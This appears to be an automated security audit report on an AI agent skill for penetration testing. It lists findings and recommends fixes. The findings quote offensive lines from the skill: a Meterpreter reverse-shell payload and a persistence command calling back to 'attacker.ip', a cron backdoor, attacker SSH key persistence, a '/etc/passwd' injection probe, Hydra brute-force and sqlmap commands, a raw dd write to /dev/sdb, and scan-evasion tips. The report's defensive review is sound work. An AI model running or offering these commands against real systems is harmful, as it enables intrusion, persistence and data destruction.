This report is not translated for the requested language. The canonical English report is shown instead.
Versioned security assessment
Report ID: SA-9FE812B0
7/6/2026, 10:56:11 PM
ethical-hacking-methodology security assessment v3
Skill Security Certification Report
Audit model: codex Historical report
- Skill name
- ethical-hacking-methodology
- Version
- v3
- Maintainer
- zebbern
- Coverage
- 1 Files scanned · 467 Lines analyzed
- Policy version
- Unavailable
Highest confirmed finding severity
Critical
31 confirmed security findings require attention.
Installation context
Historical evidence
This report may not describe the currently installable artifact. Open the current Skill page for install guidance.
Open current Skill pageThis report does not block or authorize the manifest or ZIP.
The skill contains operational penetration testing instructions, including network scanning, Metasploit exploitation, credential attacks, persistence, privilege escalation checks, command injection examples, and destructive disk commands. Some keyword-only malware taxonomy and Markdown fence findings are false positives, but multiple confirmed critical findings remain. The skill should not be published until offensive and destructive procedures are removed or constrained to non-operational lab guidance.
Report position
Historical report
Open audit history before using this report to install.
Audit attestation
Not attestable
The required immutable binding is incomplete.
Human verification
Not verified
No human verification is recorded for this report.
Coverage
1 Files scanned · 467 Lines analyzed
68 items shown for review
Limitations
This report does not claim runtime or sandbox execution and does not prove the absence of side effects.
Evidence chain
Follow the evidence from source binding to the install contract. Available evidence supports verification; it is not a safety guarantee.
Source
Binding unavailable
Artifact
Identity incomplete
Audit
Complete
Capabilities observed
Observed means this report recorded supporting evidence. Not recorded does not prove that a capability is absent.
Contains scripts
May execute code included with the Skill.
Not recorded by this audit
Network access
May connect to external services.
Observed in 10 evidence locations
Filesystem access
May read or write local files.
Observed in 7 evidence locations
Env variables
May read values from the process environment.
Not recorded by this audit
External commands
May invoke commands or programs outside the Skill.
Observed in 32 evidence locations
Capability review items (37)
Critical
Ruby/shell backtick execution
```bash
The block walks through Metasploit exploitation using MS17-010 EternalBlue and a Meterpreter reverse TCP payload. This is operational exploit guidance.
Critical
Ruby/shell backtick execution
```bash
The block includes SQLMap database enumeration and command injection probes including access to /etc/passwd. This is direct web exploitation guidance.
Critical
Ruby/shell backtick execution
```bash
The block provides Meterpreter persistence, SSH key persistence, and a cron backdoor example. These are unauthorized persistence mechanisms.
Critical
Ruby/shell backtick execution
```bash
The block writes an ISO directly to /dev/sdb and manipulates disk partitions and mounts. Running these commands can overwrite disks or alter devices.
Critical
Ruby/shell backtick execution
| `msfconsole` | Start Metasploit |
The quick reference tells users to start Metasploit. In this skill, Metasploit is used for exploitation and Meterpreter payloads.
Critical
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --dbs
The URL is a placeholder, but it is embedded in SQLMap commands that enumerate databases and tables. This is direct SQL injection exploitation guidance.
Critical
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
The URL is a placeholder, but it is embedded in SQLMap commands that enumerate databases and tables. This is direct SQL injection exploitation guidance.
Critical
Hidden file in home directory
# Add attacker's public key to ~/.ssh/authorized_keys
The line instructs adding an attacker public key to ~/.ssh/authorized_keys. This creates persistent unauthorized SSH access.
Critical
Hidden file access
# Add attacker's public key to ~/.ssh/authorized_keys
The line instructs adding an attacker public key to ~/.ssh/authorized_keys. This creates persistent unauthorized SSH access.
Critical
Non-standard device file access
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
The command writes directly to /dev/sdb with dd. This can overwrite a disk or removable device if run on the wrong system.
Critical
Temp directory access
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
The line appends a recurring cron job that runs /tmp/backdoor.sh. This is explicit backdoor persistence.
High
Ruby/shell backtick execution
```bash
The block instructs host discovery with Nmap and arp-scan against a network range. This can enumerate live systems on networks that may not be authorized.
High
Ruby/shell backtick execution
```bash
The block provides Nmap SYN, TCP, UDP, full port, service, and aggressive scan commands. These are active network scanning instructions.
High
Ruby/shell backtick execution
```bash
The block runs Nmap service enumeration and vulnerability scripts against a target. These commands actively probe services and vulnerabilities.
High
Ruby/shell backtick execution
```bash
The block provides Nikto, OpenVAS, and Nessus scanning commands. These tools perform active vulnerability assessment against network targets.
High
Ruby/shell backtick execution
```bash
The block provides Gobuster directory and DNS enumeration commands plus web fingerprinting. These commands can enumerate web assets and hidden paths.
High
Ruby/shell backtick execution
```
The range introduces active exploitation and the Metasploit framework before the executable examples. The context is gaining access rather than defensive validation only.
High
Ruby/shell backtick execution
```bash
The block provides Hydra SSH and FTP brute force commands and John password cracking usage. These are credential attack instructions.
High
Ruby/shell backtick execution
```
The range introduces maintaining access and backdoors. That context promotes persistent access after compromise.
High
Ruby/shell backtick execution
```
The range introduces privilege escalation before a command block with enumeration tools and sudo checks. The context is post-compromise escalation.
High
Ruby/shell backtick execution
```bash
The block lists privilege escalation enumeration tools, SUID discovery, and sudo permission checks. These are post-compromise escalation steps.
High
Ruby/shell backtick execution
| `nmap -sV target` | Port and service scan |
The quick reference recommends an Nmap service scan. This is active network reconnaissance guidance.
High
Ruby/shell backtick execution
| `nikto -h target` | Web vulnerability scan |
The quick reference recommends a Nikto web vulnerability scan. This is active probing against a web target.
High
Ruby/shell backtick execution
| `hydra -l user -P list ssh://target` | SSH brute force |
The quick reference provides a Hydra SSH brute force command. This is credential attack guidance.
High
sudo privilege escalation
# Check sudo permissions
The line is inside the privilege escalation section and introduces sudo permission checks. It supports post-compromise escalation discovery.
High
sudo privilege escalation
sudo -l
The command enumerates sudo privileges on a compromised Linux host. That information is commonly used for privilege escalation.
High
Hardcoded URL
nikto -h http://target.com
The placeholder URL is used in a Nikto web scanner command. This instructs active vulnerability probing against a web target.
High
Hardcoded URL
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
The placeholder URL is used in a Gobuster directory brute force command. This instructs active enumeration of web paths.
High
Hardcoded IP address
nmap -sn 192.168.1.0/24
The private CIDR is used in Nmap host discovery examples. Running it would scan a local network range for live systems.
High
Hardcoded IP address
nmap -sP 192.168.1.0/24
The private CIDR is used in Nmap host discovery examples. Running it would scan a local network range for live systems.
High
FTP protocol
hydra -L users.txt -P passwords.txt ftp://target.com
The FTP URL appears in a Hydra brute force command using user and password lists. This is credential attack guidance.
High
SSH protocol URL
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
The SSH URL appears in Hydra brute force instructions. This can be used to attempt unauthorized credential guessing.
High
SSH protocol URL
| `hydra -l user -P list ssh://target` | SSH brute force |
The SSH URL appears in Hydra brute force instructions. This can be used to attempt unauthorized credential guessing.
High
Non-standard device file access
gparted /dev/sdb
The command opens a partition editor on /dev/sdb. It can alter disk partitions and cause data loss.
High
Non-standard device file access
mount /dev/sdb2 /mnt/usb
The command mounts /dev/sdb2 under /mnt/usb. It accesses a raw device path and can expose or modify filesystem contents.
Medium
Ruby/shell backtick execution
```bash
The block provides WHOIS, DNS enumeration, dnsrecon, and email harvesting commands for target reconnaissance. These commands can collect target intelligence outside an approved scope.
Medium
Ruby/shell backtick execution
```
The block gives Google dork queries for exposed files, login pages, directory listings, and environment files. This supports target reconnaissance and sensitive information discovery.
Risk findings
Confirmed security concerns are separated from items that still need review.
Confirmed security concerns (31)
RISK-001 Critical
SSH directory access
# Add attacker's public key to ~/.ssh/authorized_keys
The line targets ~/.ssh/authorized_keys for attacker key persistence. Modifying SSH authorization files can grant unauthorized remote access.
RISK-002 Critical
SSH host/auth files
# Add attacker's public key to ~/.ssh/authorized_keys
The line targets ~/.ssh/authorized_keys for attacker key persistence. Modifying SSH authorization files can grant unauthorized remote access.
RISK-003 Critical
Metasploit framework
**Metasploit Framework**
The skill presents Metasploit as an exploitation tool for gaining access. The surrounding context includes exploit selection and payload execution.
RISK-004 Critical
Metasploit framework
# Start Metasploit
The skill directs users to start Metasploit, and the surrounding section uses it for exploitation. This enables offensive exploit execution.
RISK-005 Critical
Metasploit framework
msf> set PAYLOAD windows/meterpreter/reverse_tcp
The line sets a Meterpreter reverse TCP payload in Metasploit. This is operational exploit payload guidance.
RISK-006 Critical
Metasploit framework
# Meterpreter persistence
The skill presents Metasploit as an exploitation tool for gaining access. The surrounding context includes exploit selection and payload execution.
RISK-007 Critical
Metasploit framework
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
The Metasploit/Meterpreter context is used for persistence and maintaining access. This is a high-risk post-exploitation behavior.
RISK-008 Critical
Metasploit framework
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
The skill presents Metasploit as an exploitation tool for gaining access. The surrounding context includes exploit selection and payload execution.
RISK-009 Critical
Metasploit framework
| Maintaining Access | Persistence | Meterpreter, SSH keys |
The Metasploit/Meterpreter context is used for persistence and maintaining access. This is a high-risk post-exploitation behavior.
RISK-010 Critical
Metasploit framework
| `msfconsole` | Start Metasploit |
The skill directs users to start Metasploit, and the surrounding section uses it for exploitation. This enables offensive exploit execution.
RISK-011 Critical
Malware type keywords
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
The line creates a cron job for /tmp/backdoor.sh in /etc/crontab. That is explicit malware-style persistence.
RISK-012 Critical
System password file access
# | cat /etc/passwd
The line gives /etc/passwd access as a command injection test payload. This probes sensitive system files through an injection flaw.
RISK-013 Critical
Disk destruction command
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
The dd command writes directly to /dev/sdb. It can destroy or overwrite disk contents if copied to the wrong device.
RISK-014 High
Malware type keywords
**Backdoors**
The Backdoors heading appears under Maintaining Access and introduces persistence examples. This is not only taxonomy; it frames backdoors as a testing step.
RISK-015 High
Malware type keywords
- Clean up test files and backdoors
The line discusses cleaning up backdoors after testing, confirming that prior steps included backdoor placement. This keeps a high-risk persistence workflow in scope.
RISK-016 High
Network scanning tools
nmap -sn 192.168.1.0/24
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-017 High
Network scanning tools
nmap -sP 192.168.1.0/24
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-018 High
Network scanning tools
nmap -sS target.com
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-019 High
Network scanning tools
nmap -sT target.com
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-020 High
Network scanning tools
nmap -sU target.com
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-021 High
Network scanning tools
nmap -p- target.com
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-022 High
Network scanning tools
nmap -sV target.com
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-023 High
Network scanning tools
nmap -A target.com
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-024 High
Network scanning tools
nmap --script=http-enum target.com
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-025 High
Network scanning tools
nmap --script=smb-enum-shares target.com
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-026 High
Network scanning tools
nmap --script=ftp-anon target.com
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-027 High
Network scanning tools
nmap --script=vuln target.com
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-028 High
Network scanning tools
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
The lifecycle table lists Nmap, Nikto, and Gobuster for enumerating targets. These are active scanning tools in the methodology.
RISK-029 High
Network scanning tools
| `nmap -sV target` | Port and service scan |
The line provides or references Nmap network scanning against a target. This enables active reconnaissance and service enumeration.
RISK-030 High
Defense Evasion Guidance
The troubleshooting section advises using a proxy or VPN and fragmenting packets when scans are blocked. This can help bypass defensive controls during unauthorized scanning.
The cited lines directly recommend tactics for continuing scans after blocking, including proxy or VPN use and packet fragmentation.
RISK-031 Medium
Social Engineering Credential Theft Content
The common attack types section lists phishing, email-based credential theft, fake login pages, malicious attachments, and social engineering. It is brief, but the intent is credential theft education.
The text explicitly references phishing and credential theft, but it does not provide a full phishing kit or delivery procedure.
Remediation
Suggested fixes recorded by this audit. Applying them is the maintainer’s responsibility.
- FIX-001CriticalOperational exploitation and persistence guidanceRemove Metasploit exploit steps, Meterpreter payloads, SSH key persistence, cron backdoors, and maintaining access instructions. Replace them with high-level defensive concepts.
- FIX-002CriticalSensitive file and command injection examplesRemove payloads that access /etc/passwd or enumerate databases with SQLMap. Use benign toy examples without real system paths or data extraction.
- FIX-003CriticalDestructive device commandsRemove dd, gparted, mount, and raw /dev/sdb examples from the marketplace skill, or replace them with warnings and non-executable setup guidance.
- FIX-004HighCredential attack commandsRemove Hydra brute force examples and password cracking workflows, or restrict them to non-executable descriptions for isolated lab accounts.
- FIX-005HighDefense evasion troubleshootingRemove advice to use proxies, VPNs, or packet fragmentation when scans are blocked. Replace it with scope review and authorization escalation steps.
Expert evidence
Immutable subject identity, scanner metadata, dismissed matches, and source-level evidence.
Artifact subject
- Marketplace commit
- Unavailable
- Content hash
- Unavailable
- Tree hash
- Unavailable
- Skill path
- Unavailable
- Audit payload hash
- Unavailable
Analysis metadata
Audit model: codex
Analysis state: Complete
Scope is limited to the recorded files, lines, methods, and evidence. No runtime or sandbox execution is claimed.
Static false positives ignored (4)
Critical
Ransomware keywords
- **Ransomware**: Encrypts files for ransom
Force-confirmed blocker/critical static finding; AI dismissal overridden.
Critical
Ransom message keywords
- **Ransomware**: Encrypts files for ransom
Force-confirmed blocker/critical static finding; AI dismissal overridden.
High
Malware type keywords
- **Trojan**: Disguised as legitimate software
Force-confirmed blocker/high static finding; AI dismissal overridden.
High
Malware type keywords
- **Rootkit**: Hidden system-level access
Force-confirmed blocker/high static finding; AI dismissal overridden.
Verify and export
The manifest and lockfile bind install artifacts to cryptographic hashes. This integrity claim is separate from the security assessment.
Audit attestation: not_attestable